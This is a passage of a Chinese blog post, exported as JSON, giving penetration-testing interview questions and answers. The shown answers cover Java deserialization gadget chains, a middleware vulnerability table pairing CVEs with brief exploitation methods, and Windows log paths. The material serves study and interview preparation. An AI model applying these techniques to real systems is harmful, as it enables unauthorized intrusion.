{"id":78487,"date":"2026-02-27T16:49:17","date_gmt":"2026-02-27T08:49:17","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/78487.html"},"modified":"2026-02-27T16:49:17","modified_gmt":"2026-02-27T08:49:17","slug":"2026%e5%b9%b4%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e9%9d%a2%e8%af%95%e9%a2%98%e6%80%bb%e7%bb%93-30%ef%bc%88%e9%a2%98%e7%9b%ae%e5%9b%9e%e7%ad%94%ef%bc%89","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/78487.html","title":{"rendered":"2026\u5e74\u6e17\u900f\u6d4b\u8bd5\u9762\u8bd5\u9898\u603b\u7ed3-30\uff08\u9898\u76ee+\u56de\u7b54\uff09"},"content":{"rendered":"<p>\u5b89\u5168\u9886\u57df\u5404\u79cd\u8d44\u6e90&#xff0c;\u5b66\u4e60\u6587\u6863&#xff0c;\u4ee5\u53ca\u5de5\u5177\u5206\u4eab\u3001\u524d\u6cbf\u4fe1\u606f\u5206\u4eab\u3001POC\u3001EXP\u5206\u4eab\u3002\u4e0d\u5b9a\u671f\u5206\u4eab\u5404\u79cd\u597d\u73a9\u7684\u9879\u76ee\u53ca\u597d\u7528\u7684\u5de5\u5177&#xff0c;\u6b22\u8fce\u5173\u6ce8\u3002<img decoding=\"async\" alt=\"\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260227084915-69a15a8be21e4.jpg\" \/><\/p>\n<p id=\"main-toc\">\u76ee\u5f55<\/p>\n<p id=\"871.%20Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E5%8E%9F%E7%90%86-toc\" style=\"margin-left:40px\">871. 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Blind SSRF<\/p>\n<p id=\"887.%20%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88SSRF%EF%BC%89%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D-toc\" style=\"margin-left:40px\">887. \u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff08;SSRF&#xff09;\u6f0f\u6d1e\u4fee\u590d<\/p>\n<p id=\"1.%20%E7%99%BD%E5%90%8D%E5%8D%95%E6%A0%A1%E9%AA%8C-toc\" style=\"margin-left:80px\">1. \u767d\u540d\u5355\u6821\u9a8c<\/p>\n<p id=\"2.%20%E7%A6%81%E7%94%A8%E5%8D%B1%E9%99%A9%E5%8D%8F%E8%AE%AE-toc\" style=\"margin-left:80px\">2. \u7981\u7528\u5371\u9669\u534f\u8bae<\/p>\n<p id=\"3.%20%E9%99%90%E5%88%B6%E8%AE%BF%E9%97%AE%E8%8C%83%E5%9B%B4-toc\" style=\"margin-left:80px\">3. \u9650\u5236\u8bbf\u95ee\u8303\u56f4<\/p>\n<p id=\"4.%20%E4%BD%BF%E7%94%A8URL%E8%A7%A3%E6%9E%90%E5%BA%93-toc\" style=\"margin-left:80px\">4. \u4f7f\u7528URL\u89e3\u6790\u5e93<\/p>\n<p id=\"5.%20%E7%BD%91%E7%BB%9C%E5%B1%82%E9%98%B2%E6%8A%A4-toc\" style=\"margin-left:80px\">5. \u7f51\u7edc\u5c42\u9632\u62a4<\/p>\n<p id=\"888.%20%E8%B7%A8%E7%AB%99%E7%82%B9%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88CSRF%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-toc\" style=\"margin-left:40px\">888. \u8de8\u7ad9\u70b9\u8bf7\u6c42\u4f2a\u9020&#xff08;CSRF&#xff09;\u6f0f\u6d1e\u539f\u7406<\/p>\n<p id=\"1.%20%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%EF%BC%9A-toc\" style=\"margin-left:80px\">1. \u57fa\u672c\u6982\u5ff5&#xff1a;<\/p>\n<p id=\"2.%20%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86%EF%BC%9A-toc\" style=\"margin-left:80px\">2. \u653b\u51fb\u539f\u7406&#xff1a;<\/p>\n<p id=\"3.%20%E5%BF%85%E8%A6%81%E6%9D%A1%E4%BB%B6%EF%BC%9A-toc\" style=\"margin-left:80px\">3. \u5fc5\u8981\u6761\u4ef6&#xff1a;<\/p>\n<p id=\"889.%20%E8%B7%A8%E7%AB%99%E7%82%B9%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88CSRF%EF%BC%89%E6%BC%8F%E6%B4%9E%E7%A7%8D%E7%B1%BB-toc\" style=\"margin-left:40px\">889. \u8de8\u7ad9\u70b9\u8bf7\u6c42\u4f2a\u9020&#xff08;CSRF&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<\/p>\n<p id=\"1.%20GET%E5%9E%8BCSRF-toc\" style=\"margin-left:80px\">1. GET\u578bCSRF<\/p>\n<p id=\"2.%20POST%E5%9E%8BCSRF-toc\" style=\"margin-left:80px\">2. POST\u578bCSRF<\/p>\n<p id=\"3.%20%E5%85%B6%E4%BB%96%E7%B1%BB%E5%9E%8B-toc\" style=\"margin-left:80px\">3. \u5176\u4ed6\u7c7b\u578b<\/p>\n<p id=\"890.%20%E8%B7%A8%E7%AB%99%E7%82%B9%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0%EF%BC%88CSRF%EF%BC%89%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D-toc\" style=\"margin-left:40px\">890. \u8de8\u7ad9\u70b9\u8bf7\u6c42\u4f2a\u9020&#xff08;CSRF&#xff09;\u6f0f\u6d1e\u4fee\u590d<\/p>\n<p id=\"1.%20CSRF%20Token-toc\" style=\"margin-left:80px\">1. CSRF Token<\/p>\n<p id=\"2.%20SameSite%20Cookie-toc\" style=\"margin-left:80px\">2. SameSite Cookie<\/p>\n<p id=\"3.%20%E5%8F%8C%E9%87%8DCookie%E9%AA%8C%E8%AF%81-toc\" style=\"margin-left:80px\">3. \u53cc\u91cdCookie\u9a8c\u8bc1<\/p>\n<p id=\"4.%20Referer%E9%AA%8C%E8%AF%81-toc\" style=\"margin-left:80px\">4. Referer\u9a8c\u8bc1<\/p>\n<p id=\"5.%20%E5%85%B3%E9%94%AE%E6%93%8D%E4%BD%9C%E7%A1%AE%E8%AE%A4-toc\" style=\"margin-left:80px\">5. \u5173\u952e\u64cd\u4f5c\u786e\u8ba4<\/p>\n<p id=\"891.%20%E8%B7%A8%E5%9F%9F%E8%B5%84%E6%BA%90%E5%85%B1%E4%BA%AB%EF%BC%88CORS%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-toc\" style=\"margin-left:40px\">891. \u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u539f\u7406<\/p>\n<p id=\"1.%20%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5%EF%BC%88SOP%EF%BC%89-toc\" style=\"margin-left:80px\">1. \u540c\u6e90\u7b56\u7565&#xff08;SOP&#xff09;<\/p>\n<p id=\"2.%20CORS%E6%9C%BA%E5%88%B6-toc\" style=\"margin-left:80px\">2. CORS\u673a\u5236<\/p>\n<p id=\"3.%20%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-toc\" style=\"margin-left:80px\">3. \u6f0f\u6d1e\u539f\u7406<\/p>\n<p id=\"892.%20%E8%B7%A8%E5%9F%9F%E8%B5%84%E6%BA%90%E5%85%B1%E4%BA%AB%EF%BC%88CORS%EF%BC%89%E6%BC%8F%E6%B4%9E%E7%A7%8D%E7%B1%BB-toc\" style=\"margin-left:40px\">892. \u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<\/p>\n<p id=\"1.%20%E5%8F%8D%E5%B0%84Origin-toc\" style=\"margin-left:80px\">1. \u53cd\u5c04Origin<\/p>\n<p id=\"2.%20%E5%89%8D%E7%BC%80%2F%E5%90%8E%E7%BC%80%E5%8C%B9%E9%85%8D-toc\" style=\"margin-left:80px\">2. \u524d\u7f00\/\u540e\u7f00\u5339\u914d<\/p>\n<p id=\"3.%20%E7%A9%BAOrigin-toc\" style=\"margin-left:80px\">3. \u7a7aOrigin<\/p>\n<p id=\"4.%20%E5%8D%8F%E8%AE%AE%E4%B8%8D%E5%8C%B9%E9%85%8D-toc\" style=\"margin-left:80px\">4. \u534f\u8bae\u4e0d\u5339\u914d<\/p>\n<p id=\"893.%20%E8%B7%A8%E5%9F%9F%E8%B5%84%E6%BA%90%E5%85%B1%E4%BA%AB%EF%BC%88CORS%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8C%BA%E5%88%AB-toc\" style=\"margin-left:40px\">893. \u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u533a\u522b<\/p>\n<p id=\"%E4%B8%8EJSONP%E7%9A%84%E5%8C%BA%E5%88%AB%EF%BC%9A-toc\" style=\"margin-left:80px\">\u4e0eJSONP\u7684\u533a\u522b&#xff1a;<\/p>\n<p id=\"%E4%B8%8ECSRF%E7%9A%84%E5%85%B3%E7%B3%BB%EF%BC%9A-toc\" style=\"margin-left:80px\">\u4e0eCSRF\u7684\u5173\u7cfb&#xff1a;<\/p>\n<p id=\"894.%20%E8%B7%A8%E5%9F%9F%E8%B5%84%E6%BA%90%E5%85%B1%E4%BA%AB%EF%BC%88CORS%EF%BC%89%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D-toc\" style=\"margin-left:40px\">894. \u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u4fee\u590d<\/p>\n<p id=\"1.%20%E6%AD%A3%E7%A1%AE%E9%85%8D%E7%BD%AEACAO-toc\" style=\"margin-left:80px\">1. \u6b63\u786e\u914d\u7f6eACAO<\/p>\n<p id=\"2.%20%E9%81%BF%E5%85%8D%E5%8D%B1%E9%99%A9%E7%BB%84%E5%90%88-toc\" style=\"margin-left:80px\">2. \u907f\u514d\u5371\u9669\u7ec4\u5408<\/p>\n<p id=\"3.%20%E4%B8%A5%E6%A0%BC%E6%A0%A1%E9%AA%8COrigin-toc\" style=\"margin-left:80px\">3. \u4e25\u683c\u6821\u9a8cOrigin<\/p>\n<p id=\"4.%20%E9%99%90%E5%88%B6%E6%96%B9%E6%B3%95%2F%E5%A4%B4%E9%83%A8-toc\" style=\"margin-left:80px\">4. \u9650\u5236\u65b9\u6cd5\/\u5934\u90e8<\/p>\n<p id=\"895.%20%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C%E4%BB%A3%E7%A0%81%EF%BC%88RCE%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-toc\" style=\"margin-left:40px\">895. \u8fdc\u7a0b\u6267\u884c\u4ee3\u7801&#xff08;RCE&#xff09;\u6f0f\u6d1e\u539f\u7406<\/p>\n<p id=\"1.%20%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%EF%BC%9A-toc\" style=\"margin-left:80px\">1. \u57fa\u672c\u6982\u5ff5&#xff1a;<\/p>\n<p id=\"2.%20%E5%B8%B8%E8%A7%81%E5%85%A5%E5%8F%A3%EF%BC%9A-toc\" style=\"margin-left:80px\">2. \u5e38\u89c1\u5165\u53e3&#xff1a;<\/p>\n<p id=\"3.%20%E6%94%BB%E5%87%BB%E9%93%BE%EF%BC%9A-toc\" style=\"margin-left:80px\">3. \u653b\u51fb\u94fe&#xff1a;<\/p>\n<p id=\"896.%20%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C%E4%BB%A3%E7%A0%81%EF%BC%88RCE%EF%BC%89%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D-toc\" style=\"margin-left:40px\">896. \u8fdc\u7a0b\u6267\u884c\u4ee3\u7801&#xff08;RCE&#xff09;\u6f0f\u6d1e\u4fee\u590d<\/p>\n<p id=\"1.%20%E8%BE%93%E5%85%A5%E9%AA%8C%E8%AF%81-toc\" style=\"margin-left:80px\">1. \u8f93\u5165\u9a8c\u8bc1<\/p>\n<p id=\"2.%20%E9%81%BF%E5%85%8D%E5%8D%B1%E9%99%A9%E5%87%BD%E6%95%B0-toc\" style=\"margin-left:80px\">2. \u907f\u514d\u5371\u9669\u51fd\u6570<\/p>\n<p id=\"3.%20%E6%9C%80%E5%B0%8F%E6%9D%83%E9%99%90%E8%BF%90%E8%A1%8C-toc\" style=\"margin-left:80px\">3. \u6700\u5c0f\u6743\u9650\u8fd0\u884c<\/p>\n<p id=\"4.%20%E6%B2%99%E7%AE%B1%E9%9A%94%E7%A6%BB-toc\" style=\"margin-left:80px\">4. \u6c99\u7bb1\u9694\u79bb<\/p>\n<p id=\"897.%20%E8%B6%8A%E6%9D%83%E6%BC%8F%E6%B4%9E%EF%BC%88IDOR%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-toc\" style=\"margin-left:40px\">897. \u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u539f\u7406<\/p>\n<p id=\"1.%20%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%EF%BC%9A-toc\" style=\"margin-left:80px\">1. \u57fa\u672c\u6982\u5ff5&#xff1a;<\/p>\n<p id=\"2.%20%E7%A4%BA%E4%BE%8B%EF%BC%9A-toc\" style=\"margin-left:80px\">2. \u793a\u4f8b&#xff1a;<\/p>\n<p id=\"3.%20%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%EF%BC%9A-toc\" style=\"margin-left:80px\">3. \u6839\u672c\u539f\u56e0&#xff1a;<\/p>\n<p id=\"898.%20%E8%B6%8A%E6%9D%83%E6%BC%8F%E6%B4%9E%EF%BC%88IDOR%EF%BC%89%E6%BC%8F%E6%B4%9E%E7%A7%8D%E7%B1%BB-toc\" style=\"margin-left:40px\">898. \u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<\/p>\n<p id=\"1.%20%E6%B0%B4%E5%B9%B3%E8%B6%8A%E6%9D%83-toc\" style=\"margin-left:80px\">1. \u6c34\u5e73\u8d8a\u6743<\/p>\n<p id=\"2.%20%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83-toc\" style=\"margin-left:80px\">2. \u5782\u76f4\u8d8a\u6743<\/p>\n<p id=\"3.%20%E4%B8%8A%E4%B8%8B%E6%96%87%E7%9B%B8%E5%85%B3%E8%B6%8A%E6%9D%83-toc\" style=\"margin-left:80px\">3. \u4e0a\u4e0b\u6587\u76f8\u5173\u8d8a\u6743<\/p>\n<p id=\"899.%20%E8%B6%8A%E6%9D%83%E6%BC%8F%E6%B4%9E%EF%BC%88IDOR%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8C%BA%E5%88%AB-toc\" style=\"margin-left:40px\">899. \u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u533a\u522b<\/p>\n<p id=\"%E6%B0%B4%E5%B9%B3vs%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83%EF%BC%9A-toc\" style=\"margin-left:80px\">\u6c34\u5e73vs\u5782\u76f4\u8d8a\u6743&#xff1a;<\/p>\n<p id=\"%E4%B8%8E%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E7%9A%84%E5%8C%BA%E5%88%AB%EF%BC%9A-toc\" style=\"margin-left:80px\">\u4e0e\u672a\u6388\u6743\u8bbf\u95ee\u7684\u533a\u522b&#xff1a;<\/p>\n<p id=\"900.%20%E8%B6%8A%E6%9D%83%E6%BC%8F%E6%B4%9E%EF%BC%88IDOR%EF%BC%89%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D-toc\" style=\"margin-left:40px\">900. \u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u4fee\u590d<\/p>\n<p id=\"1.%20%E6%9D%83%E9%99%90%E9%AA%8C%E8%AF%81-toc\" style=\"margin-left:80px\">1. \u6743\u9650\u9a8c\u8bc1<\/p>\n<p id=\"2.%20%E9%97%B4%E6%8E%A5%E5%BC%95%E7%94%A8%E6%98%A0%E5%B0%84-toc\" style=\"margin-left:80px\">2. \u95f4\u63a5\u5f15\u7528\u6620\u5c04<\/p>\n<p id=\"3.%20%E4%BD%BF%E7%94%A8%E9%9A%8F%E6%9C%BA%E6%A0%87%E8%AF%86%E7%AC%A6-toc\" style=\"margin-left:80px\">3. \u4f7f\u7528\u968f\u673a\u6807\u8bc6\u7b26<\/p>\n<p id=\"4.%20%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E5%88%97%E8%A1%A8%EF%BC%88ACL%EF%BC%89-toc\" style=\"margin-left:80px\">4. \u8bbf\u95ee\u63a7\u5236\u5217\u8868&#xff08;ACL&#xff09;<\/p>\n<p> 871Java?\u53cd\u5e8f\u5217\u5316\u7684\u539f\u7406<br \/>\n872\u8c08\u8c08\u81ea\u5df1\u5e38\u7528\u7684\u4e2d\u95f4\u4ef6\u6f0f\u6d1e<br \/>\n873Windows\u548cLinux\u7684\u65e5\u5fd7\u6587\u4ef6\u653e\u5728\u54ea\u91cc<br \/>\n874\u8c08\u8c08OOB<br \/>\n875\u8c08\u8c08IDR<br \/>\n876SQL\u6ce8\u5165\u79cd\u7c7b<br \/>\n877SQL\u6ce8\u5165\u4fee\u590d<br \/>\n878\u9884\u7f16\u8bd1\u539f\u7406<br \/>\n879XSS\u539f\u7406<br \/>\n880XSS\u79cd\u7c7b<br \/>\n881XSS\u533a\u522b<br \/>\n882XSS\u4fee\u590d<br \/>\n883XXE\u6f0f\u6d1e\u539f\u7406<br \/>\n884XXE\u6f0f\u6d1e\u4fee\u590d<br \/>\n885\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff08;SSRF&#xff09;\u6f0f\u6d1e\u539f\u7406<br \/>\n886\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff08;SSRF&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<br \/>\n887\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020&#xff08;SSRF&#xff09;\u6f0f\u6d1e\u4fee\u590d<br \/>\n888\u8de8\u7ad9\u70b9\u8bf7\u6c42\u4f2a\u9020&#xff08;CSRF&#xff09;\u6f0f\u6d1e\u539f\u7406<br \/>\n889\u8de8\u7ad9\u70b9\u8bf7\u6c42\u4f2a\u9020&#xff08;CSRF&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<br \/>\n890\u8de8\u7ad9\u70b9\u8bf7\u6c42\u4f2a\u9020&#xff08;CSRF&#xff09;\u6f0f\u6d1e\u4fee\u590d<br \/>\n891\u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u539f\u7406<br \/>\n892\u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<br \/>\n893\u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u533a\u522b<br \/>\n894\u8de8\u57df\u8d44\u6e90\u5171\u4eab&#xff08;CORS&#xff09;\u6f0f\u6d1e\u4fee\u590d<br \/>\n895\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801&#xff08;RCE&#xff09;\u6f0f\u6d1e\u539f\u7406<br \/>\n896\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801&#xff08;RCE&#xff09;\u6f0f\u6d1e\u4fee\u590d<br \/>\n897\u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u539f\u7406<br \/>\n898\u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<br \/>\n899\u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u533a\u522b<br \/>\n900\u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u4fee\u590d <\/p>\n<h3 id=\"871.%20Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E5%8E%9F%E7%90%86\">871. Java\u53cd\u5e8f\u5217\u5316\u7684\u539f\u7406<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;\u00a0Java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u672c\u8d28\u662f\u5c06\u4e0d\u53ef\u4fe1\u7684\u5b57\u8282\u6d41\u53cd\u5e8f\u5217\u5316\u6210Java\u5bf9\u8c61\u65f6&#xff0c;\u81ea\u52a8\u6267\u884c\u4e86\u5371\u9669\u7684\u64cd\u4f5c\u94fe\u3002\u5176\u6838\u5fc3\u6280\u672f\u539f\u7406\u5305\u62ec&#xff1a;<\/p>\n<li>\u5e8f\u5217\u5316\u673a\u5236&#xff1a;\n<ul>\n<li>Java\u901a\u8fc7ObjectOutputStream.writeObject()\u5c06\u5bf9\u8c61\u5e8f\u5217\u5316\u4e3a\u5b57\u8282\u6d41<\/li>\n<li>\u901a\u8fc7ObjectInputStream.readObject()\u5c06\u5b57\u8282\u6d41\u53cd\u5e8f\u5217\u5316\u4e3a\u5bf9\u8c61<\/li>\n<li>\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\u5305\u542b\u7c7b\u540d\u3001\u5b57\u6bb5\u503c\u7b49\u4fe1\u606f<\/li>\n<\/ul>\n<\/li>\n<li>\u9b54\u6cd5\u65b9\u6cd5\u8c03\u7528&#xff1a;\n<ul>\n<li>readObject()&#xff1a;\u53cd\u5e8f\u5217\u5316\u65f6\u81ea\u52a8\u8c03\u7528&#xff0c;\u53ef\u91cd\u5199<\/li>\n<li>readResolve()&#xff1a;\u53cd\u5e8f\u5217\u5316\u540e\u8c03\u7528\u7684\u65b9\u6cd5<\/li>\n<li>finalize()&#xff1a;\u5783\u573e\u56de\u6536\u524d\u8c03\u7528<\/li>\n<li>\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u6784\u9020\u6076\u610f\u7c7b&#xff0c;\u5728\u8fd9\u4e9b\u65b9\u6cd5\u4e2d\u690d\u5165\u6076\u610f\u4ee3\u7801<\/li>\n<\/ul>\n<\/li>\n<li>Gadget Chains&#xff08;\u5229\u7528\u94fe&#xff09;&#xff1a;\n<ul>\n<li>\u4ece\u6e90\u70b9&#xff08;\u5982readObject&#xff09;\u5230\u6c47\u70b9&#xff08;\u5982Runtime.exec()&#xff09;\u7684\u4e00\u7cfb\u5217\u8c03\u7528<\/li>\n<li>\u5e38\u89c1\u94fe&#xff1a;Apache Commons Collections\u3001Fastjson\u3001Jackson\u7b49\u5e93\u7684\u5229\u7528\u94fe<\/li>\n<li>\u793a\u4f8b&#xff1a;InvokerTransformer\u00a0-&gt;\u00a0ChainedTransformer\u00a0-&gt;\u00a0TransformedMap\u00a0-&gt; &#8230;<\/li>\n<\/ul>\n<\/li>\n<li>\u6f0f\u6d1e\u89e6\u53d1\u6761\u4ef6&#xff1a;\n<ul>\n<li>\u5e94\u7528\u63a5\u53d7\u5916\u90e8\u5e8f\u5217\u5316\u6570\u636e<\/li>\n<li>\u7c7b\u8def\u5f84\u4e2d\u5b58\u5728\u53ef\u5229\u7528\u7684gadget\u7c7b<\/li>\n<li>\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\u4e0d\u8fdb\u884c\u5b89\u5168\u6821\u9a8c<\/li>\n<\/ul>\n<\/li>\n<h3 id=\"872.%20%E8%B0%88%E8%B0%88%E8%87%AA%E5%B7%B1%E5%B8%B8%E7%94%A8%E7%9A%84%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E\">872. \u8c08\u8c08\u81ea\u5df1\u5e38\u7528\u7684\u4e2d\u95f4\u4ef6\u6f0f\u6d1e<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<table>\n<tr>\u4e2d\u95f4\u4ef6\u5e38\u89c1\u6f0f\u6d1e\u5229\u7528\u65b9\u5f0f<\/tr>\n<tbody>\n<tr>\n<td>Apache<\/td>\n<td>1. \u89e3\u6790\u6f0f\u6d1e&#xff08;.php.jpg&#xff09; 2. \u76ee\u5f55\u904d\u5386 3. CVE-2017-15715&#xff08;\u6362\u884c\u7b26&#xff09;<\/td>\n<td>\u4e0a\u4f20\u7279\u6b8a\u6587\u4ef6\u540d&#xff0c;\u76ee\u5f55\u904d\u5386\u8bfb\u53d6\u6587\u4ef6<\/td>\n<\/tr>\n<tr>\n<td>Nginx<\/td>\n<td>1. \u89e3\u6790\u6f0f\u6d1e&#xff08;\/test.jpg\/test.php&#xff09; 2. \u76ee\u5f55\u904d\u5386 3. CVE-2013-4547<\/td>\n<td>\u5229\u7528\u9519\u8bef\u914d\u7f6e&#xff0c;URL\u7f16\u7801\u7ed5\u8fc7<\/td>\n<\/tr>\n<tr>\n<td>IIS<\/td>\n<td>1. \u89e3\u6790\u6f0f\u6d1e&#xff08;asp;.jpg&#xff09; 2. \u77ed\u6587\u4ef6\u540d\u6cc4\u9732 3. CVE-2017-7269<\/td>\n<td>\u4e0a\u4f20\u7279\u6b8a\u6269\u5c55\u540d&#xff0c;\u7206\u7834\u77ed\u6587\u4ef6\u540d<\/td>\n<\/tr>\n<tr>\n<td>Tomcat<\/td>\n<td>1. \u5f31\u53e3\u4ee4\u540e\u53f0\u90e8\u7f72war 2. CVE-2017-12615&#xff08;PUT\u4e0a\u4f20&#xff09; 3. CVE-2020-1938&#xff08;AJP\u6587\u4ef6\u8bfb\u53d6&#xff09;<\/td>\n<td>\u7206\u7834\u540e\u53f0&#xff0c;PUT\u4e0a\u4f20jsp&#xff0c;AJP\u534f\u8bae\u8bfb\u53d6\u6587\u4ef6<\/td>\n<\/tr>\n<tr>\n<td>WebLogic<\/td>\n<td>1. \u53cd\u5e8f\u5217\u5316&#xff08;T3\/IIOP&#xff09; 2. SSRF&#xff08;uddiexplorer&#xff09; 3. \u6743\u9650\u7ed5\u8fc7&#xff08;CVE-2020-14882&#xff09;<\/td>\n<td>\u53d1\u9001\u6076\u610f\u5e8f\u5217\u5316\u6570\u636e&#xff0c;\u6784\u9020\u7279\u6b8aURL<\/td>\n<\/tr>\n<tr>\n<td>JBoss<\/td>\n<td>1. JMXInvokerServlet\u672a\u6388\u6743 2. \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/td>\n<td>\u76f4\u63a5\u8bbf\u95eejmx-console&#xff0c;\u4e0a\u4f20\u6076\u610f\u5e8f\u5217\u5316\u6570\u636e<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u4e2a\u4eba\u7ecf\u9a8c\u5206\u4eab&#xff1a;<\/p>\n<ul>\n<li>\u901a\u5e38\u5148\u901a\u8fc7\u7aef\u53e3\u626b\u63cf\u8bc6\u522b\u4e2d\u95f4\u4ef6\u7c7b\u578b\u548c\u7248\u672c<\/li>\n<li>\u5bf9\u7167\u6f0f\u6d1e\u5e93\u5339\u914d\u5df2\u77e5\u6f0f\u6d1e<\/li>\n<li>\u4f7f\u7528\u9a8c\u8bc1\u5de5\u5177&#xff08;\u5982nmap\u811a\u672c\u3001\u4e13\u7528exp&#xff09;\u9a8c\u8bc1<\/li>\n<li>\u5173\u6ce8\u914d\u7f6e\u9519\u8bef&#xff08;\u5982\u9ed8\u8ba4\u53e3\u4ee4\u3001\u8c03\u8bd5\u63a5\u53e3\u66b4\u9732&#xff09;<\/li>\n<\/ul>\n<h3 id=\"873.%20Windows%E5%92%8CLinux%E7%9A%84%E6%97%A5%E5%BF%97%E6%96%87%E4%BB%B6%E6%94%BE%E5%9C%A8%E5%93%AA%E9%87%8C\">873. Windows\u548cLinux\u7684\u65e5\u5fd7\u6587\u4ef6\u653e\u5728\u54ea\u91cc<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"Windows%E6%97%A5%E5%BF%97%E4%BD%8D%E7%BD%AE%EF%BC%9A\">Windows\u65e5\u5fd7\u4f4d\u7f6e&#xff1a;<\/h4>\n<table>\n<tr>\u65e5\u5fd7\u7c7b\u578b\u9ed8\u8ba4\u4f4d\u7f6e\u67e5\u770b\u5de5\u5177<\/tr>\n<tbody>\n<tr>\n<td>\u7cfb\u7edf\u4e8b\u4ef6\u65e5\u5fd7<\/td>\n<td>C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\ \u2022 Application.evtx \u2022 Security.evtx \u2022 System.evtx<\/td>\n<td>Event Viewer wevtutil<\/td>\n<\/tr>\n<tr>\n<td>IIS\u65e5\u5fd7<\/td>\n<td>C:\\\\inetpub\\\\logs\\\\LogFiles\\\\<\/td>\n<td>\u6587\u672c\u7f16\u8f91\u5668 Log 